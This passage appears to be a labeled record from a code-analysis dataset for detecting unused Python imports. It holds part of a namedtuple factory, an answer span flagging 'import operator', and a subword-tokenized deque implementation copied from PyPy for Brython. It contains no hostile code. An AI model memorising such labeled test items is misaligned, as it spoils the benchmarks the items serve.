result = _self._make(map(kwds.pop, %(field_names)r, _self))\n if kwds:\n raise ValueError('Got unexpected field names: %%r' %% kwds.keys())\n return result \\n\n def __getnewargs__(self):\n return tuple(self) \\n\\n''' % locals()\n for i, name in enumerate(field_names):\n template += ' %s = _property(_itemgetter(%d))\\n' % (name, i)\n \n if verbose:\n print(template)\n\n # Execute the template string in a temporary namespace\n namespace = dict(_itemgetter=_itemgetter, __name__='namedtuple_%s' % typename,\n _property=property, _tuple=tuple)\n try:\n exec(template,namespace)\n except SyntaxError as e:\n raise SyntaxError(e.message + ':\\n' + template)\n result = namespace[typename]\n\n # For pickling to work, the __module__ variable needs to be set to the frame\n # where the named tuple is created. Bypass this step in enviroments where\n # sys._getframe is not defined (Jython for example) or sys._getframe is not\n # defined for arguments greater than 0 (IronPython).\n try:\n result.__module__ = _sys._getframe(1).f_globals.get('__name__', '__main__')\n except (AttributeError, ValueError):\n pass\n\n return result", "metadata": "root.namedtuple", "header": "['module', '___EOS___']", "index": 453 } ]
[ { "span": "import operator", "start_line": 10, "start_column": 0, "end_line": 10, "end_column": 15 } ]
[]
1
false
[ "[CLS]_", "Un", "used_", "import_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "#", " ", "\"", "Hig", "h", " ", "perform", "anc", "e", " ", "data", " ", "structures_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "\"_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "copie", "d", " ", "from", " ", "pypy", " ", "repo_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Copie", "d", " ", "and", " ", "complete", "d", " ", "from", " ", "the", " ", "sand", "box", " ", "of", " ", "CP", "ython_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", "(", "nond", "ist", "/", "sand", "box", "/", "collection", "s", "/", "pyd", "eque", ".", "py", " ", "rev", " ", "1.1", ",", " ", "Ray", "mond", " ", "He", "tting", "er", ")_", "\\u\\u\\uNL\\u\\u\\u_", "#", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "edited", " ", "for", " ", "Br", "yth", "on", " ", "line", " ", "558", " ", ":", " ", "catch", " ", "Import", "Error", " ", "inst", "ead", " ", "of", " ", "Attribute", "Error_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "import_", "operator_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", "try", ":_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", " ", "from", " ", "thread", " ", "import", " ", "get", "\\u", "ident", " ", "as", " ", "\\u", "thread", "\\u", "ident_", "\\u\\u\\uNL\\u\\u\\u_", "#", "except", " ", "Import", "Error", ":_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "n_", "=_", "30_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "LF", "TL", "NK", "_", "=_", "n_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "RG", "TL", "NK", "_", "=_", "n_", "+_", "1_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "BLOCKS", "IZ", "_", "=_", "n_", "+_", "2_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "The", " ", "deq", "ue", "'", "s", " ", "size", " ", "limit", " ", "is", " ", "d", ".", "maxl", "en", ".", " ", " ", "The", " ", "limit", " ", "can", " ", "be", " ", "zero", " ", "or", " ", "posit", "ive", ",", " ", "or_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Non", "e", ".", " ", " ", "Af", "ter", " ", "an", " ", "item", " ", "is", " ", "adde", "d", " ", "to", " ", "a", " ", "deq", "ue", ",", " ", "we", " ", "check", " ", "to", " ", "see", " ", "if", " ", "the", " ", "size", " ", "has_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "grow", "n", " ", "past", " ", "the", " ", "limit", ".", " ", "If", " ", "it", " ", "has", ",", " ", "we", " ", "get", " ", "the", " ", "size", " ", "back", " ", "down", " ", "to", " ", "the", " ", "limit", " ", "by_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "popp", "ing", " ", "an", " ", "item", " ", "off", " ", "of", " ", "the", " ", "opposite", " ", "end", ".", " ", " ", "The", " ", "method", "s", " ", "tha", "t", " ", "can", " ", "trigger", " ", "this_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "are", " ", "append", "()", ",", " ", "append", "left", "()", ",", " ", "extend", "()", ",", " ", "and", " ", "extend", "left", "()", "._", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", "class", " ", "deq", "ue", "(", "object", "):", "_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "from_", "operator_", "import_", "itemgetter_", "as_", "\\u", "itemgetter_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "keyword_", "import_", "isk", "ey", "word_", "as_", "\\u", "isk", "ey", "word_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "sys_", "as_", "\\u", "sys_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "\\u\\u", "name\\u\\u_", "==_", "'\\u", "\\u", "main", "\\u\\u'_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "Point_", "=_", "namedtuple_", "(_", "'", "Point", "'_", ",_", "[_", "'", "x", "'_", ",_", "'", "y", "'_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "p_", "=_", "Point_", "(_", "11_", ",_", "y_", "=_", "22_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "print_", "(_", "p_", "[_", "0_", "]_", "+_", "p_", "[_", "1_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "x_", ",_", "y_", "=_", "p_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "print_", "(_", "x_", ",_", "y_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "print_", "(_", "p_", "._", "x_", "+_", "p_", "._", "y_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "print_", "(_", "p_", ")_", "\\u\\u\\uDEDENT\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "def_", "\\u", "thread", "\\u", "ident_", "(_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "-_", "1_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "class_", "deque_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "XX", "X", " ", "make", " ", "compa", "ris", "on", " ", "more", " ", "efficien", "t_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "[SEP]_", "class_", "deque_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "def_", "\\u\\u", "new\\u\\u_", "(_", "cls_", ",_", "iterable_", "=_", "(_", ")_", ",_", "*_", "args_", ",_", "**_", "kw_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", "fix", "me_", "\\u\\u\\uNL\\u\\u\\u_", "#", "self", " ", "=", " ", "super", "(", "deq", "ue", ",", " ", "cls", ").", "\\u\\u", "new", "\\u\\u", "(", "cls", ",", " ", "*", "args", ",", " ", "**", "kw", ")_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "=_", "object_", "._", "\\u\\u", "new\\u\\u_", "(_", "cls_", ",_", "*_", "args_", ",_", "**_", "kw_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "clear_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "self_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "deque_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "\\u\\u", "init\\u\\u_", "(_", "self_", ",_", "iterable_", "=_", "(_", ")_", ",_", "maxlen_", "=_", "None_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "object_", "._", "\\u\\u", "init\\u\\u_", "(_", "self_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "clear_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "maxlen_", "is_", "not_", "None_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "maxlen_", "<_", "0_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "raise_", "Value", "Error_", "(_", "\"", "maxl", "en", " ", "must", " ", "be", " ", "non", "-", "negati", "ve", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "self_", "._", "\\u", "maxlen_", "=_", "maxlen_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "add_", "=_", "self_", "._", "append_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "elem_", "in_", "iterable_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "add_", "(_", "elem_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "deque_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "@_", "property_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "def_", "maxlen_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "self_", "._", "\\u", "maxlen_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "deque_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "clear_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "right_", "=_", "self_", "._", "left_", "=_", "[_", "None_", "]_", "*_", "BLOCKS", "IZ", "_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "right", "ndx_", "=_", "n_", "//_", "2_", "#", " ", "points", " ", "to", " ", "last", " ", "writt", "en", " ", "element_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "left", "ndx_", "=_", "n_", "//_", "2_", "+_", "1_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "length_", "=_", "0_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "state_", "=_", "0_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "deque_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "append_", "(_", "self_", ",_", "x_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "state_", "+=_", "1_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "right", "ndx_", "+=_", "1_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "self_", "._", "right", "ndx_", "==_", "n_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "newb", "lock_", "=_", "[_", "None_", "]_", "*_", "BLOCKS", "IZ", "_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "right_", "[_", "RG", "TL", "NK", "_", "]_", "=_", "newb", "lock_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "newb", "lock_", "[_", "LF", "TL", "NK", "_", "]_", "=_", "self_", "._", "right_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "right_", "=_", "newb", "lock_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "right", "ndx_", "=_", "0_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "self_", "._", "length_", "+=_", "1_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "right_", "[_", "self_", "._", "right", "ndx_", "]_", "=_", "x_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "self_", "._", "maxlen_", "is_", "not_", "None_", "and_", "self_", "._", "length_", ">_", "self_", "._", "maxlen_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "popleft_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "deque_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "append", "left_", "(_", "self_", ",_", "x_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "state_", "+=_", "1_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "left", "ndx_", "-=_", "1_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "self_", "._", "left", "ndx_", "==_", "-_", "1_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "newb", "lock_", "=_", "[_", "None_", "]_", "*_", "BLOCKS", "IZ", "_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "left_", "[_", "LF", "TL", "NK", "_", "]_", "=_", "newb", "lock_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "newb", "lock_", "[_", "RG", "TL", "NK", "_", "]_", "=_", "self_", "._", "left_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "left_", "=_", "newb", "lock_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "left", "ndx_", "=_", "n_", "-_", "1_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "self_", "._", "length_", "+=_", "1_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "left_", "[_", "self_", "._", "left", "ndx_", "]_", "=_", "x_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "self_", "._", "maxlen_", "is_", "not_", "None_", "and_", "self_", "._", "length_", ">_", "self_", "._", "maxlen_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "pop_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "deque_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "extend_", "(_", "self_", ",_", "iterable_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "iterable_", "is_", "self_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "iterable_", "=_", "list_", "(_", "iterable_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "for_", "elem_", "in_", "iterable_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "append_", "(_", "elem_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "deque_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "extend", "left_", "(_", "self_", ",_", "iterable_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "iterable_", "is_", "self_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "iterable_", "=_", "list_", "(_", "iterable_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "for_", "elem_", "in_", "iterable_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "append", "left_", "(_", "elem_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "deque_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "pop_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "self_", "._", "left_", "is_", "self_", "._", "right_", "and_", "self_", "._", "left", "ndx_", ">_", "self_", "._", "right", "ndx_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", "raise", " ", "Index", "Error", ",", " ", "\"", "pop", " ", "from", " ", "an", " ", "empty", " ", "deq", "ue", "\"", " ", " ", "#", " ", "doe", "s", " ", "not", " ", "work", " ", "in", " ", "br", "ython_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "raise_", "Index", "Error_", "(_", "\"", "pop", " ", "from", " ", "an", " ", "empty", " ", "deq", "ue", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "x_", "=_", "self_", "._", "right_", "[_", "self_", "._", "right", "ndx_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "right_", "[_", "self_", "._", "right", "ndx_", "]_", "=_", "None_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "length_", "-=_", "1_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "right", "ndx_", "-=_", "1_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "state_", "+=_", "1_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "self_", "._", "right", "ndx_", "==_", "-_", "1_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "prev", "block_", "=_", "self_", "._", "right_", "[_", "LF", "TL", "NK", "_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "prev", "block_", "is_", "None_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "the", " ", "deq", "ue", " ", "has", " ", "bec", "ome", " ", "empty", ";", " ", "recent", "er", " ", "inst", "ead", " ", "of", " ", "free", "ing", " ", "block_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "right", "ndx_", "=_", "n_", "//_", "2_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "left", "ndx_", "=_", "n_", "//_", "2_", "+_", "1_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "prev", "block_", "[_", "RG", "TL", "NK", "_", "]_", "=_", "None_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "right_", "[_", "LF", "TL", "NK", "_", "]_", "=_", "None_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "right_", "=_", "prev", "block_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "right", "ndx_", "=_", "n_", "-_", "1_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "return_", "x_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "deque_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "popleft_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "self_", "._", "left_", "is_", "self_", "._", "right_", "and_", "self_", "._", "left", "ndx_", ">_", "self_", "._", "right", "ndx_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", "raise", " ", "Index", "Error", ",", " ", "\"", "pop", " ", "from", " ", "an", " ", "empty", " ", "deq", "ue", "\"_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "raise_", "Index", "Error_", "(_", "\"", "pop", " ", "from", " ", "an", " ", "empty", " ", "deq", "ue", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "x_", "=_", "self_", "._", "left_", "[_", "self_", "._", "left", "ndx_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "left_", "[_", "self_", "._", "left", "ndx_", "]_", "=_", "None_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "length_", "-=_", "1_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "left", "ndx_", "+=_", "1_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "state_", "+=_", "1_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "self_", "._", "left", "ndx_", "==_", "n_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "prev", "block_", "=_", "self_", "._", "left_", "[_", "RG", "TL", "NK", "_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "prev", "block_", "is_", "None_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "the", " ", "deq", "ue", " ", "has", " ", "bec", "ome", " ", "empty", ";", " ", "recent", "er", " ", "inst", "ead", " ", "of", " ", "free", "ing", " ", "block_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "right", "ndx_", "=_", "n_", "//_", "2_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "left", "ndx_", "=_", "n_", "//_", "2_", "+_", "1_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "prev", "block_", "[_", "LF", "TL", "NK", "_", "]_", "=_", "None_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "left_", "[_", "RG", "TL", "NK", "_", "]_", "=_", "None_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "left_", "=_", "prev", "block_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "left", "ndx_", "=_", "0_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "return_", "x_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "deque_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "count_", "(_", "self_", ",_", "value_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "c_", "=_", "0_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "item_", "in_", "self_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "item_", "==_", "value_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "c_", "+=_", "1_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "return_", "c_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "deque_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "remove_", "(_", "self_", ",_", "value_", ")_", 